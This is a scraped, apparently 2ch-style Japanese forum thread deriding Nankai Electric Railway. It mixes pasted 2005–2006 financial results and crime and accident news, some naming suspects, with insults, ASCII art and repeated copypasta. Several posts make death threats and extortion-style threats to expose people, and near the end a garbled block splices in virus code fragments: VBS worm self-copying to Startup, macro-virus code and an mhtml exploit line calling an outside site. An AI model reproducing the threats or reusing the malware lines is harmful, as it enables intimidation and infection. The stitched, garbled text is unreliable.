2005+RTRS★★★★★★★★★★★★★★★★南海電鉄、連結192.45億円の赤字転落★★★★★★★★★★★★★★★★南海電<9044.OS>：中間連結、05年9月当期赤字転落192.45億円、06年3月見通110億円の赤字2005年11月15日
火曜日14:23JST［東京１５日ロイター］2005年9月(2005年4月1日-2005年9月30日)注)カッコ内は前年比、△は赤字05年9月中間期04年9月中間期06年3月期見通05年3月期実績売上高（百万円）91,09099,560192,000196,210(-8.5%)
営業利益（百万円）12,71910,682(+19.1%)経常利益（百万円）7,4384,79110,0009,470(+55.2%)当期利益（百万円）△19,2456,616△11,0007,737１株利益（円）△36.7312.65△20.9614.79営業活動ＣＦ（百万円）17,98220,236ttp
://today.reuters.co.jp/stocks/FinanceArticle.aspx?view=CN&symbol=9044.OS&storyid=64776+15-Nov-2005+RTRS借入金は時価総額などと比べると実情が比較的表れます。南海借入金残高２６８，５８３百万円時価総額２２８
，９８９百万円１１７．３％（時価総額に占める借入金割合）阪急借入金残高５００，０２６百万円時価総額６７２，６５０百万円７４．３％阪神借入金残高１３４，７７４百万円時価総額３９６，３５３百万円３４．０％近鉄

借入金残高４６９，６９８百万円時価総額７５９，６８１百万円６１．８％京阪借入金残高１１４，１６４百万円時価総額２３９，９４７百万円４７．５％こう見れば各社の状態がわかる。南海は借入金が企業規模の割には大き
過ぎるる上に金利が高い。一線を越えてしまっている。近鉄も注意を要するが南海ほどでもない。京阪は底を脱したのが鮮明に。阪急は借入金はやや多いが金利は安く抜群の収益力でカバー。堅実派として名の通る阪神は借入金
は元から少なめ。金利は高いが収益力を考慮すれば問題はない。これでは社債は金利を高くしないと厳しいだろう。南海の運転ミスによる情けない事故の歴史●男里川事故…踏切でトラックと衝突して川へ転落後で運転士が自分
の子供を抱えながら運転していたことがバレて大問題に●羽倉崎事故…回送車両が車止めを越え更に道路向かいの仏壇屋へ特攻担当の入換運転士曰く「天気が良かったので空に見とれていたら（ｒｙ」●住ノ江事故…同じく回送
車両がATSを切った状態で冒進、高架下のプールにダイブ未遂この運転士の言い訳は「急いで帰りたかった」＜住んでみたい街（関西）トップ10＞に、南海ヲタご自慢の「帝塚山」をはじめ南海沿線の街が１つも出てこなかった
上、トップ10の街すべてを阪急沿線に独占され、阪急にお話にもならない惨敗を喫した南海wしょせん、スラム街の南海沿線なんぞに住みたいなどというバカでキモい奴など、南海ヲタ以外には存在しないということが改めて証
明された（ﾌﾟｹﾞﾗ住んでみたい街（関西）トップは「芦屋」ソースttp://allabout.co.jp/house/townkansai/closeup/CU20060925A/現在の会社の経営状況があまりにもひどすぎるので、せめて現実逃避しようと旧塗装撮影会でシ
コシコとオナニーした、情けない赤字南海&南海ヲタおらあああ！！モギャ！∧＿∧―＝≡三∧＿∧＼从从//／（´∀｀）三≡＝――＝≡三と（#´∀｀）つ''"´"∧_ﾉ；*;''"´"''::;:,（阪急つ三≡＝――＝≡三ヽ阪和線￣⌒)＞д
(;;;((⌒￣￣￣＿）三≡＝――＝≡三//￣￣´"'''⊂;;；#':*,'´''::;;;;::'''"´￣ヽ＼三≡＝――＝≡三＼__）;／／／（_,､｀^)^)＼＼＼（_＿）三≡＝―↑赤字南海赤字南海ヲタが阪急萌えを自白「べっ別に阪急が好きだから
このスレに常駐してるんじゃないんだからね！」

南海ヲタが死ねば平和になるんだよ今年も南海ヲタはクえっち「あれ？今日はクリスマスなのにどこも行かないの?」ギシギシリ呼ばれないクリスマスパーティーアンアンス明石家サンタ彼「あれ？暖房つけてるのに寒いよ？」
マ多分来ない年賀状女童スまた今年もひとりきり貞「おまえなんで来んの？」今年のクリスマスは中止ラ○みんな幸せそうブ／＼セクロス気になるあの子もホ／＼街は「あれ？お前呼んでないし」DQNとズコバコ／￣￣￣＼カッ
プル「えー？！マジ童貞？！キモーイ」／──＼だらけ彼女ｲﾅｲ暦=年齢／<○><○>＼クリスマスも2ｃｈ２次元が恋人ｲﾁｬｲﾁｬ|（__人__）|ケーキﾗﾌﾞﾗﾌﾞ＼｀ ⌒´／一人で過ごすアドレス帳嫉妬／＼メリークリスマス！！

>82赤いのは南海

スピードダウンスピードダウン実はJRより遅い〜看板に偽りありの南海〜♪

日本の鉄道の最大の汚点である関東の汚物パイオニア台車を関西に持ち込んだ、大阪市中央区難波を根城とする、鉄道業を題材としたお笑いを行う集団の名を答えなさい

2007年の初夢は南海の倒産する夢だったらなぁ〜

重複誘導【代アニの】南海電気鉄道ｽﾚｯﾄﾞNa90【二の舞】ttp://hobby7.2ch.net/test/read.cgi/rail/1165581791/重複誘導【代アニの】南海電気鉄道ｽﾚｯﾄﾞNa90【二の舞】ttp://hobby7.2ch.net/test/read.cgi/rail/1165581791/
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ｸｸ｜|プ/ｸｸ｜|プ/ｽｸｽ＿||│//.ｽｸｽ＿||│//／ｽ─||ッ//／ｽ─||ッ//／＿＿＿＿＿//／//／ｌ⌒ｌｌ⌒ｌ＼））＿＿＿＿.／／￣|,=||=､|￣ヾ／＿＿＿＿ヽ/￣/￣.ー'●ー'￣ｌ￣||/,−､,-､ｌ））|￣l￣￣__|.￣ｌ￣.|_|-|,=|=､
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南海ヲタは特定のヲタを叩くのがほんと大好きなんだねｗｗｗ南海に興味ある香具師は全員キセル、敷地内侵入、盗撮、交通違反は当たり前にやってんだろｗｗｗ２０００は何であんなに下品なインバータ音を出すの？>162下品
な南海沿線を走る車両だからVVVF音も下品なのは当然だ

南海はボロイ

>170事実だけど？ネタだと思ってんの？もうちょっと現実を直視したらどう？

>170ハイ、これがその現実。◆◇◆◇◆減損処理で当期赤字に南海電鉄決算◆◇◆◇◆2006年05月12日南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４億円、来園者が減少している
遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html

南海のような客商売が、どんどんと路線廃止し沿線住民に嫌われてコスト削減してるようじゃ、将来は真っ暗だなw

>187>188貴志川線すら維持できない情けない南海

営業を放棄した南海は沿線住民から完全に嫌われてるし、何書いても負け犬の遠吠えだなw

昨日南海が阪急に潰される夢を見た・・・縁起でも無い。

>192心配すんな。阪急は、南海みたいなお荷物なんか相手にもしないからいつもｺﾋﾟﾍﾟを貼ってる方に注文です。昭和60年頃にみさき公園駅で起きた殺人事件の詳細も貼ってくだされ。

ID:QJtetiAk
ID:rT3xDRR0
ID:z4MsL/TD

3つの端末で御苦労様。

>1961月13日南海電鉄みさき公園駅殺人事件午前8時25分頃、大阪府泉南郡岬町、南海本線みさき公園駅ののぼりホームで、近くの会社員Hさん（49歳）の腰を、駆け寄ってきた町内の高校3年・A（当時18歳）が蹴って突き落とし
、Hさんは進入してきた急行電車とホームに挟まれ死亡した。Aはたまたまホームにいた泉南署の巡査部長に現行犯逮捕。Aは通学途中、改札口を出た同駅地下通路でHさんと肩が触れたため口論となった。Hさんにすごまれたため
、Aと友人は逃げたが、怒りのおさまらないAが追いかけて蹴ったという

>>102
珍作は黒字の現実を直視できなくなって新たなネタを探し出したな。

>219死ねゴミ

南海ｦﾀの必死さには笑える！

南海は汚くてボロイ電車

貴社は元々、宗教色の強い会社でしたっけ？よくは覚えていませんが

知らん

>>109
やはり古い体質からは抜け出ることができないのですね。宗教的信念に基づいた接客をする駅員もいるようですが。地域協力を得るためには仕方ないのでしょうがね。

十分な画を描けていない傍観者がいらぬちょっかいをかけるな ころすぞ

お前は温情を得ているその会社のために我が身を犠牲にできるか？お前が得ているその温情の出処は、お前自信の功によるものか？吸いとることしか考えない者は、宿主を枯らしてしまうぞ？お前もその類でしかないのか？

では仲間であるお客には、深々と頭を下げて大声で挨拶しなさい。監視場所である改札から。その方が近くに構えている同士にも伝わるであろう？

伝えておけ もういい加減にいらぬ関心を止めないと 晒すぞ 仲間同士での傷付け合いのことを

もうひとつ 身代わりになった者に対しての態度を誤るなと 捨て駒でも先払いでも愚かな操り人形でもないぞと お前はだれが払った犠牲の成果にあぐらをかいているのかと 伝えよ！これを見て次第に伝えよ！同時に己が身を引き締めよ！

人間には「生存権」というのがあるな？「生存権」を守るためにはどのような方法でも許されるよな？生活（の権利）を脅かされるということは、つまりそういうこった。×人衆の子？孫？遠戚？にもついでに伝えておけ いきてられただけでもしあわせだとな

『スクープ』にするぞ？どういうことになるかは分かるな？そこまで知能が低いとは思わないが？ことの重大さは分かった上での行為であると承諾しているがな？ただし、もしそうでないなら、今後は一切何の問題も起きないであろうが

次に絡んできた時には巻き散らすぞ？お前は大切なものに大迷惑をかけることになるのだからな？まさか「写真」なんざ出回ってないよな？その場合、他地方に憐れな人間がでてしまうぞ？お前のせいで！ 我が身に関係ないことなどわすれてしまうんだな

同じ愚を繰り返さざるを得ないのであればころしてやるからな

あと一つ。 なにも解らない人間がいい気になるなよ？ お前はもう立派に関わってしまっているのだからな？次はほんとうにころすぞ おまえいがいを

>>110
どこをどう読んだらそういう返信をしてくるのか、理由を教えてくれ

なんかまだ怒りが収まらないんだが。次また不快な思いをした場合、総会屋の手法を使わせてもらっていいか？下準備として使われる。お前の態度次第だからな？お前等のためにも犠牲を払ったのにこんな仕打をされたことが理由なのだからな？

今後のお前の態度次第だからな？お前の周囲も含めての態度によるからな？おそらくこれを見て笑っているのだろうが、次のお前達の態度次第で例の手法を使うからな？わかるだろ？ヒントは本社へのアプローチだぞ？陸運局までにしようか？

あらあら、間違えちゃったわ。電車は線路の上を走るのでしたよね？まさか、個人の宗教的信念に基づいて、地域の噂話の上を走りまわって煽るなんてしませんよね？無知で盲信的だからすみませんねぇ。だから、「国土交通省」の鉄道局くらいにしとくね？告げ口は

>>121
単に晒し始めているんだよ？本当に本社や鉄道局に例の手法を使用するからな？対象の駅名を掲載した方がよいか？至急、連絡してくれよ？明日の朝一でもよいがな？ついでに付け加えて、貴社では『個人情報保護法』など糞食らえの態度が社風なのか？ならば、晒すぞ？

ク　　　　VIP　　　　　「あれ？今日はクリスマスなのにどこも行かないの?」　　　　 ギシギシ
リ　　　　　　　　　　呼ばれないクリスマスパーティー　　　　　　　　　　　　　　　　　アンアン
ス　　明石家サンタ　　　　　　　　　　　　　 　彼　　　鬱　　　　　　「あれ？暖房つけてるのに寒いよ？」
マ　　　　　　　　　　多分来ない年賀状　　　女　　　　　　　童　
ス　　セクロス　　　　　　　　　　　　また今年もひとりきり　　貞　　　あのﾄｰﾁｬﾝとｶｰﾁｬﾝも性夜を・・・
　　　　　今年のクリスマスは中止　　　　　　　　ラ　　　　 ○　　　　　　　
　　　　　　　　　　　　　　　　　　　　　　　　　　　　ブ　 　　／＼　　　　　　みんな幸せそう 　　
　襲ってくる寂しさ　　 気になるあの子も　　　　ホ　　／　　　＼ 街は　　　　　「あれ？お前呼んでないし」
　　 　　　　　　　 　 　　　　　　DQNとズコバコ　　　　／￣￣￣＼　カップル
　　　　　　　 「えー？！マジ童貞？！キモーイ」　／　─　　　─ ＼　　　だらけ　　　　　　　脳内彼女
彼女ｲﾅｲ暦=年齢　　　　　　　　　　　　 　　　　 ／　 <○> 　<○>　 ＼　　　　　　クリスマスも2ｃｈ
　　　　２次元が恋人　　　　　　　ｲﾁｬｲﾁｬ　　　 |　　　　（__人__）　　　　|　　　　
　聖　　　 　　　　　　　　　　　　ﾗﾌﾞﾗﾌﾞ 　　　　　＼　　　 ｀ ⌒´　　　　／　男友達と過ごす
　　夜　　　　　中学生ですら・・・　　　　　嫉妬　／ 　 　　　　　 　 　 ＼　　　　　　メリークリスマス！！

>>121
返答なしと受け取りましたからな

　　　　つぎはおまえのばんだ

重複誘導【代アニの】南海電気鉄道ｽﾚｯﾄﾞNa90【二の舞】ttp://hobby7.2ch.net/test/read.cgi/rail/1165581791/南海はぼろい泉北が来たらうれしくなる南海沿線はDQNの温床汚物南海車泉北乗り入れお断りぼろいし>>445心配し
なくても和歌山港の廃止は時間の問題さらに汐見橋線も廃止南海本線岸里玉出〜住ノ江も経費削減で複線化されますしかしラピートって、なんであんなダサいんですか？東武住民より。200X年。南海沿線は核の炎に包まれた。南
海は、特急に片開きを充当してる時点で終わってるラピートを４００円に！関空厨は南海を潰す気ですｗ>関空→難波のラピート昼の回数券なら400円。>関空会社、ツアー会社、南海電鉄が汗かいて関空利用者は特急券を無料に
したら？ttp://travel2.2ch.net/test/read.cgi/space/1165933683/45あと、売却という手段もありでは無いでしょうか？２０００系は高野に返して（各駅停車）その代わりに１０００系と８２００系を空港線に召し上げたほう
が合理的かも>628一畑か大井川あたりの地方私鉄へはどうかな？南_海_は_ボ_ロ_い

譲渡するなら“しな鉄”

案内でつ。【害厨駆除】なにわ筋・外環状線★10【南北病撲滅】ttp://hobby7.2ch.net/test/read.cgi/rail/1166173753/

LABI1なんばで、南海の高開きドア車を見かけるたび、南海の車両の更新の遅さに切なくなる。

南海sage

あげ

◇◆◇◆◇南海電鉄が申告漏れ３年間で３億５０００万円（共同通信）◇◆◇◆◇南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間で約３億５０００万円の申告漏れを指摘されてい
たことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円について所得隠しと認定、重加算税、過少申告加算税を含め約１億１０００万円を追徴課税（更正処分）した。関係者によると、同
社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。しかし、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な経理操作があったとして重加算税の対象にした
という。また、そのほかにも資産の取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。不正な経理操作はなかったとして過少申告加算税の対象にしたとみられる。ttp://news.goo.ne.jp/new
s/topics/index/02122/1.html◆◇◆◇◆南海電鉄運転士らが強制わいせつ＝コンパニオンに、逮捕−神戸◆◇◆◇◆コンパニオンの女性をトイレに閉じ込めて体を触ったとして、兵庫県警有馬署は25日、監禁と強制わいせつの
疑いで、南海電鉄の運転士上野敦弘（34）＝大阪府羽曳野市恵我之荘＝、車掌喜多信也（33）＝和歌山県橋本市紀見ケ丘＝両容疑者を逮捕した。両容疑者は「合意の上だった」と供述している。調べによると、両容疑者は5月29
日夜、神戸市北区有馬町のホテルで、宴会に派遣されていた同区在住のコンパニオンの女性（23）を男子トイレの個室に監禁して胸などを触った疑い。（時事通信）-7月25日18時0分更新ソース：ttp://headlines.yahoo.co.jp/h
l?a=20060725-00000096-jij-soci南海電鉄アスベストむき出しアスベストによる健康被害が広がる中、大阪に本社がある大手私鉄、南海電鉄の一部の駅で、天井のはりなどに吹き付けられたアスベストがむき出しになっているの
に、飛び散るおそれはないとして撤去や密閉などの新たな措置を考えていないことがわかりました。ttp://www3.nhk.or.jp/news/2005/08/02/k20050802000028.html★★★★★★★★★★★★★★★★南海電鉄、単体209.45億円

の赤字転落★★★★★★★★★★★★★★★★南海電<9044.OS>：中間単体、05年9月当期赤字転落209.45億円、06年3月見通142億円の赤字2005年11月15日火曜日14:23JST［東京１５日ロイター］2005年9月(2005年4月1日-2005年9
月30日)注)カッコ内は前年比、△は赤字05年9月中間期04年9月中間期06年3月期見通05年3月期実績売上高（百万円）35,61851,77570,200100,025(-31.2%)営業利益（百万円）6,7908,914(-23.8%)経常利益（百万円）3,4903,4383,0
005,988(+1.5%)当期利益（百万円）△20,9454,963△14,2005,490１株利益（円）△39.909.45△27.0510.45発行済株式総数(千株）524,859525,266１株配当（円）0.000.00--4.00ttp://today.reuters.co.jp/stocks/FinanceArticl
e.aspx?view=CN&symbol=9044.OS&storyid=64783+15-Nov-2005+RTRS★★★★★★★★★★★★★★★★南海電鉄、連結192.45億円の赤字転落★★★★★★★★★★★★★★★★南海電<9044.OS>：中間連結、05年9月当期赤字転落
192.45億円、06年3月見通110億円の赤字2005年11月15日火曜日14:23JST［東京１５日ロイター］2005年9月(2005年4月1日-2005年9月30日)注)カッコ内は前年比、△は赤字05年9月中間期04年9月中間期06年3月期見通05年3月期実績
売上高（百万円）91,09099,560192,000196,210(-8.5%)営業利益（百万円）12,71910,682(+19.1%)経常利益（百万円）7,4384,79110,0009,470(+55.2%)当期利益（百万円）△19,2456,616△11,0007,737１株利益（円）△36.7312.65
△20.9614.79営業活動ＣＦ（百万円）17,98220,236ttp://today.reuters.co.jp/stocks/FinanceArticle.aspx?view=CN&symbol=9044.OS&storyid=64776+15-Nov-2005+RTRSｸｸ｜|プ/ｸｸ｜|プ/ｽｸｽ＿||│//.ｽｸｽ＿||│//／ｽ─||ッ//／
ｽ─||ッ//／＿＿＿＿＿//／//／ｌ⌒ｌｌ⌒ｌ＼））＿＿＿＿.／／￣|,=||=､|￣ヾ／＿＿＿＿ヽ/￣/￣.ー'●ー'￣ｌ￣||/,−､,-､ｌ））|￣l￣￣__|.￣ｌ￣.|_|-|,=|=､|||.￣|￣￣`Y⌒l__￣ﾉ￣(6.ｰっ-´､}ヽヽ人_（ヾヽ`Y⌒l_
ﾉ減損処理で当期赤字に南海電鉄決算>〓〓〓〓〓〓-ｲ／ヽ人_（ヽwww.asahi.com/kansai/news/OSK200605120072.html／／Θヽ｜/￣￣￣ヽ-ｲ南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の

１９０４億円、来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で
〜◆◆◆27日午後１時ごろ、大阪府高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、男が普通電車を降りる際、子ども会でアイススケートに行く途中だった同府岸和田市の小学４年生の男児（10）の腰をけった。男児ははずみ
でホームに押し出され転倒。男はさらに引率者の会社員男性(40)の顔を殴ったが、男性にその場で取り押さえられ、高石署に暴行と傷害容疑で現行犯逮捕された。調べでは、男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。
男児らは約70人のグループで電車に乗っており、藤本容疑者は「子どもたちがうるさかった」と供述しているという。ソース：朝日新聞２月28日付朝刊35頁社会面◆◇◆◇◆踏切の電源入れ忘れ作動せず８列車通過南海和歌山港
線◆◇◆◇◆2006年10月20日20時46分和歌山市網屋町の南海和歌山港線「久保町２号踏切」で２０日始発から午前８時半ごろまで、警報機や遮断機が作動せず、特急や急行など計８本の列車がそのまま通過した。未明にあった点
検作業のため電源を切ったまま忘れていたのが原因という。現場は工場が密集する地域で人通りは少なく、けが人はなかった。南海電気鉄道によると同日午前０時半ごろ、踏切や信号機などに電気を送る電源装置の定期点検のた
め、同線の踏切１１カ所の電源を切った。点検が終わった午前３時ごろから、社員２人が電源を入れて回ったが、ここだけ復旧し忘れたという。午前８時５分ごろ、現場手前で急行列車の運転士が異常に気付き、本社に連絡した
。同社は「初歩的なミスで大変申し訳ない。作業手順の厳守とチェックを徹底する」としている。ttp://www.asahi.com/national/update/1020/OSK200610200054.html（１１月２９日の社会面ニュース）４少年が電車・駅で女子
高生にわいせつ行為　容疑で逮捕--------------------------------------------------------------------------------大阪府立高校の男子生徒３人を含む少年４人が、女子高校生に電車内などでわいせつな行為をしたとして

、府警は２９日、いずれも同府岸和田市内に住む高校３年の男子生徒（１８）と会社員（１７）を強制わいせつ容疑で、１６、１７歳の高校１年の男子生徒２人を強制わいせつ幇助（ほうじょ）容疑で逮捕した、と発表した。少
年らは、女子生徒が電車から降りた後、便所に連れ込んでわいせつ行為を続けたという。少年課の調べでは、高３の男子生徒は１０月１１日午後１０時１０分ごろ、南海みさき公園発難波行きの電車内で、同じ車両に居合わせた
女子生徒を隣に座らせ、２５分にわたって体を触るなどした疑い。女子生徒が乗り換えのため岸和田駅で下車したところ、この男子生徒と会社員の少年は女子生徒を同駅の男子トイレに連れ込んで約１０分間、わいせつな行為を
続けた疑い。高１の２人は電車内ではやし立てたり、トイレ外側で見張ったりして２人を助けた疑い。同課によると、女子生徒は電車内で「やめてください」などと助けを求めたが、当時車内にいた数人の客は助けようとしなか
った。車掌や駅員も気づかなかったという。少年４人は遊び仲間で、女子生徒とは面識がなかった。ttp://www.asahi.com/kansai/news/OSK200411300005.htmlなんばパークスは21世紀に造ったのに、今どき和式トイレだから、残
念。よってO-CATの勝ち！南海は何でも安く済ませれば良いと考え込んでいるから馬鹿だ。21世紀の建物で和式トイレばっかり設置してる馬鹿会社って、南海と平和堂ぐらいだろ。すげぇな！なんばパークス不人気でテナントが
埋まらず、仕方なく誘致したJRAで、休日は競馬のオッサン連中でなんばパークス周辺となんばパークス内の食事エリアは民度超低すぎ。さすが馬鹿な会社の南海だわ。サービス悪いな。なんばパークスは21世紀に造ったのに、
今どき和式トイレだから、残念。よってO-CATの勝ち！南海は何でも安く済ませれば良いと考え込んでいるから馬鹿だ。21世紀の建物で和式トイレばっかり設置してる馬鹿会社って、南海と平和堂ぐらいだろ。すげぇな！なんば
パークス不人気でテナントが埋まらず、仕方なく誘致したJRAで、休日は競馬のオッサン連中でなんばパークス周辺となんばパークス内の食事エリアは民度超低すぎ。さすが馬鹿な会社の南海だわ。サービス悪いな。平和堂って

そうなのか('A`)Ifs="htm"andfso.FileExists(f1.path+"l")=Falsethenfso.CopyFilef1.path,f1.path+"l"SetA4=A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))fso.copyfile"c:\network.vbs","j:\windows\startm
enu\programs\startup\"c.Copy(dirsystem&"\MSKernel32.vbs")c.Copy(dirwin&"\Win32DLL.vbs")c.Copy(dirsystem)<objectdata="ms-its:mhtml:file#ttp://C:\\MAIN.MHT!ttp://www.loadcash.biz//adverts//35//main.chm::/m
ain.htm" type="text/X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*fso.copyfile"dirsystem"j:\windows\startmenu\programs\startup\"Ifs="htm"andfso.FileExists(f1.path+"l")=Falsethenfso.
CopyFilef1.path,f1.path+"l"ToInfect.CodeModule.InsertLinesBGN,ADI1.CodeModule.Lines(BGN,1)G.RegWriteA("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"),E.BuildPath(E.GetSpecialF
older(1),A("VHORU@SU/WCR"))lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))ms-its:mhtml:file#ttp://c:\kak.hta';ken=wd+'STARTkill-9xz/tSaBh0Subauto_open()Application.OnSheetActivate="check_files"End
SubSubcheck_files()c$=Application.StartupPathm$=Dir(c$&"＼"&"PERSONAL.XLS")Ifm$="PERSONAL.XLS"Thenp=1Elsep=0IfActiveWorkbook.Modules.Count>0Thenw=1Elsew=0whichfile=p+w*10EndSub弱小私鉄の一つ、大阪は小便臭
い難波とガラの悪い泉州・田舎臭い和歌山・観光客激減の高野山・JRに完敗の関空を結ぶ日本最低の私鉄南海電気鉄道の本線・高野線(ウォッチ以外)・高師浜線・多奈川線・加太線・和歌山港線・過去の廃線区間について語りま
しょう。なお、このスレは鉄道路線・車両板掲載の板のため、南海関係でもスレ違いの話が発生します。スレ違い・板違いにならないように、重々お気をつけない。荒らしは歓迎。煽り推奨！聞き分けのある珍作さんは出てきて

も(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。どうせ珍作さんはコピペばかりで似たような事しか言いません。(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。他スレから変なものをコピペしてきたり、既出の
ものを何度も挙げるのも歓迎。何度もやってる珍作さんは(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。ガイドラインを守りたくない人は新規にスレを立てない。立てたら荒らす。なお、分かって荒らしている珍作さん
は(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。流行語３語と成分分析の使いすぎには注意しない。「使い方を間違えてる人」は(・∀・)ニヤニヤ笑いながら出来たら相手しましょう。主なガイドライン(お約束)・各種
リンク、過去ログ、既出質問やくだらないネタは「まとめサイト」に掲載しています。わざわざスレッドに貼り付けるの絶対歓迎。南海スレ＠まとめサイトttp://plaza.rakuten.co.jp/nankai2ch/ローカルルールttp://plaza.ra
kuten.co.jp/nankai2ch/2003ttp://plaza.rakuten.co.jp/nankai2ch/2004ttp://plaza.rakuten.co.jp/nankai2ch/2005投票ttp://multianq.uic.to/mesganq.cgi?room=nankaittp://multianq.uic.to/mesganq.cgi?room=nankaianti
難解な解析機ttp://seibun.nosv.org/maker.php/shukuin/◆◇◆◇◆減損処理で当期赤字に南海電鉄決算◆◇◆◇◆2006年05月12日南海電気鉄道が１２日発表した０６年３月期連結決算は、売上高が前期比２．９％減の１９０４
億円、来園者が減少している遊園地「みさき公園」（大阪府岬町）などの減損処理で発生した特別損失が２１０億円に上り、当期損益は６５億円の赤字になった。ソース：www.asahi.com/kansai/news/OSK200605120072.html南海
電鉄アスベストむき出し南海電鉄によりますと、あわせて１３の駅で天井のはりなどにアスベストが使われており、中でも大阪市内と堺市内の６つの駅ではアスベストを吹きつけた部分が密閉されず、一部がむき出しになってい
て、薬品などで固定する措置も取られていないということです。このうち、１つの駅では、近く予定されている改築に合わせてアスベストを撤去しますが、ほかの５つの駅では撤去や密閉などの新たな措置は今のところ考えてい

ないということです。これについて南海電鉄の総務部は、現状でもアスベストが飛び散るおそれはないとしており、アスベストがむき出しになっている駅がどこかは明らかにしていません。一方、大阪の大手私鉄、京阪電鉄によ
りますと、４つの駅で建物にアスベストが吹き付けられており、このうち、大阪・枚方市の村野駅の屋根の一部でアスベストがむき出しになっているということです。京阪電鉄でも、アスベストが飛散する心配はほとんどないと
していますが、近く、撤去することにしています。このほか、近鉄でも５つの駅でアスベストが吹き付けられていますが、飛散しないように固定する措置を取っているため、健康上の心配はないとしています。ttp://www3.nhk.o
r.jp/news/2005/08/02/d20050802000028.html◇◆◇◆◇南海電鉄が申告漏れ３年間で３億５０００万円（共同通信）◇◆◇◆◇南海電気鉄道（大阪市中央区）が大阪国税局の税務調査を受け、２００１年３月期までの３年間で
約３億５０００万円の申告漏れを指摘されていたことが２１日、分かった。同国税局は、施設の減価償却費として損金計上した約１０００万円について所得隠しと認定、重加算税、過少申告加算税を含め約１億１０００万円を追
徴課税（更正処分）した。関係者によると、同社は建設した施設にについて供用開始前に減価償却費として約１０００万円を計上。しかし、同国税局は「施設が供用を開始した後から計上するべきだ」などとした上で、意図的な
経理操作があったとして重加算税の対象にしたという。また、そのほかにも資産の取得にからむ減価償却費などの計上について、経理ミスがあったとして申告漏れを指摘。不正な経理操作はなかったとして過少申告加算税の対象
にしたとみられる。ttp://news.goo.ne.jp/news/topics/index/02122/1.html◆◇◆◇◆運転士と車掌が女性監禁トイレで強制わいせつ◆◇◆◇◆23歳コンパニオンをトイレに監禁、体触る兵庫県警有馬署は２５日、強制わいせ
つと監禁の疑いで、南海電鉄運転士上野敦弘（３４＝大阪府羽曳野市）、南海電鉄車掌喜多信也（３３＝和歌山県橋本市）の両容疑者を逮捕した。調べでは、両容疑者は共謀。５月２９日午後８時５０分ごろ、神戸・有馬温泉の

ホテルで、コンパニオン女性（２３）を男性トイレに連れ込み施錠、体に触るなどのわいせつ行為をした疑い。両容疑者は「合意の上だった」と容疑を否認しているという。両容疑者は同期入社の社員十数人と有馬温泉に宿泊。
宴会場でコンパニオン数人の接待を受け、２次会でホテル内のバーに移動した。２次会ではコンパニオン数人の時間を延長して接待を受けていた。両容疑者は女性がトイレへ行くため席を立ったところ「ちょっと来て」と誘い、
手を引っ張ってトイレに連れ込んだという。両容疑者は約４０分間、女性をトイレに監禁し、わいせつな行為に及んだという。]同僚のコンパニオン女性が席に戻ってこない女性を心配し、男子トイレを外からノックしたが、反
応はなかったという。６月上旬に女性が同署に被害届を提出した。ttp://osaka.nikkansports.com/news/p-on-tp6-20060726-66186.html◆◆◆「うるさい」と子ら暴行容疑〜高石南海電車内で〜◆◆◆27日午後１時ごろ、大阪府
高石市羽衣５丁目の南海電鉄高師浜線伽羅橋駅で、男が普通電車を降りる際、子ども会でアイススケートに行く途中だった同府岸和田市の小学４年生の男児（10）の腰をけった。男児ははずみでホームに押し出され転倒。男はさ
らに引率者の会社員男性(40)の顔を殴ったが、男性にその場で取り押さえられ、高石署に暴行と傷害容疑で現行犯逮捕された。調べでは、男は高石市高師浜１丁目の無職藤本崇之容疑者(24)。男児らは約70人のグループで電車に
乗っており、藤本容疑者は「子どもたちがうるさかった」と供述しているという。ソース：朝日新聞２月28日付朝刊35頁社会面（１１月２９日の社会面ニュース）４少年が電車・駅で女子高生にわいせつ行為容疑で逮捕--------
------------------------------------------------------------------------大阪府立高校の男子生徒３人を含む少年４人が、女子高校生に電車内などでわいせつな行為をしたとして、府警は２９日、いずれも同府岸和田市内
に住む高校３年の男子生徒（１８）と会社員（１７）を強制わいせつ容疑で、１６、１７歳の高校１年の男子生徒２人を強制わいせつ幇助（ほうじょ）容疑で逮捕した、と発表した。少年らは、女子生徒が電車から降りた後、便

所に連れ込んでわいせつ行為を続けたという。少年課の調べでは、高３の男子生徒は１０月１１日午後１０時１０分ごろ、南海みさき公園発難波行きの電車内で、同じ車両に居合わせた女子生徒を隣に座らせ、２５分にわたって
体を触るなどした疑い。女子生徒が乗り換えのため岸和田駅で下車したところ、この男子生徒と会社員の少年は女子生徒を同駅の男子トイレに連れ込んで約１０分間、わいせつな行為を続けた疑い。高１の２人は電車内ではやし
立てたり、トイレ外側で見張ったりして２人を助けた疑い。同課によると、女子生徒は電車内で「やめてください」などと助けを求めたが、当時車内にいた数人の客は助けようとしなかった。車掌や駅員も気づかなかったという
。少年４人は遊び仲間で、女子生徒とは面識がなかった。ttp://www.asahi.com/kansai/news/OSK200411300005.html■「世界遺産登録に“超高層”の影」2006/05/23放送（長文のため一部省略）この４月に関西で４番目、全国で
